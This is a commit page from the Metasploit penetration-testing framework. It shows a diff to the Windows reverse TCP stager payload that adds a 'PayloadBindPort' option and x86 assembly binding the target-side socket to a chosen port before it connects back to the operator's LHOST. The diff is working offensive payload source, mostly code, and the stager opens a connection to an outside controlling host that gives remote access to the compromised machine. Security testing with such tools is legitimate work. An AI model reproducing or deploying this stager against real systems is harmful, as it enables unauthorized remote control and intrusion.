Skip to content

Commit fd4d575

Browse files
committed
Land rapid7#9335, Added socket bind port option for reverse tcp payload.
Merge branch 'land-9335' into upstream-master
2 parents 6caba52 + 10631b6 commit fd4d575

File tree

1 file changed

+41
-1
lines changed

1 file changed

+41
-1
lines changed

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 41 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,14 @@ module Payload::Windows::ReverseTcp
2222
include Msf::Payload::Windows::BlockApi
2323
include Msf::Payload::Windows::Exitfunk
2424

25+
#
26+
# Register reverse tcp specific options
27+
#
28+
def initialize(*args)
29+
super
30+
register_advanced_options([ OptString.new('PayloadBindPort', [false, 'Port to bind reverse tcp socket to on target system.']) ], self.class)
31+
end
32+
2533
#
2634
# Generate the first stage
2735
#
@@ -31,6 +39,7 @@ def generate(opts={})
3139
port: ds['LPORT'],
3240
host: ds['LHOST'],
3341
retry_count: ds['ReverseConnectRetries'],
42+
bind_port: ds['PayloadBindPort'],
3443
reliable: false
3544
}
3645

@@ -103,6 +112,9 @@ def asm_reverse_tcp(opts={})
103112
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
104113
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
105114

115+
addr_fam = 2
116+
sockaddr_size = 16
117+
106118
asm = %Q^
107119
; Input: EBP must be the address of 'api_call'.
108120
; Output: EDI will be the socket for the connection to the server
@@ -141,7 +153,35 @@ def asm_reverse_tcp(opts={})
141153
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
142154
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
143155
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
144-
156+
^
157+
# Check if a bind port was specified
158+
if opts[:bind_port]
159+
bind_port = opts[:bind_port]
160+
encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first
161+
asm << %Q^
162+
xor eax, eax
163+
push 11
164+
pop ecx
165+
push_0_loop:
166+
push eax ; if we succeed, eax will be zero, push it enough times
167+
; to cater for both IPv4 and IPv6
168+
loop push_0_loop
169+
170+
; bind to 0.0.0.0/[::], pushed above
171+
push #{encoded_bind_port} ; family AF_INET and port number
172+
mov esi, esp ; save a pointer to sockaddr_in struct
173+
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
174+
push esi ; pointer to the sockaddr_in struct
175+
push edi ; socket
176+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
177+
call ebp ; bind( s, &sockaddr_in, 16 );
178+
push #{encoded_host} ; host in little-endian format
179+
push #{encoded_port} ; family AF_INET and port number
180+
mov esi, esp
181+
^
182+
end
183+
184+
asm << %Q^
145185
try_connect:
146186
push 16 ; length of the sockaddr struct
147187
push esi ; pointer to the sockaddr struct

0 commit comments

Comments
 (0)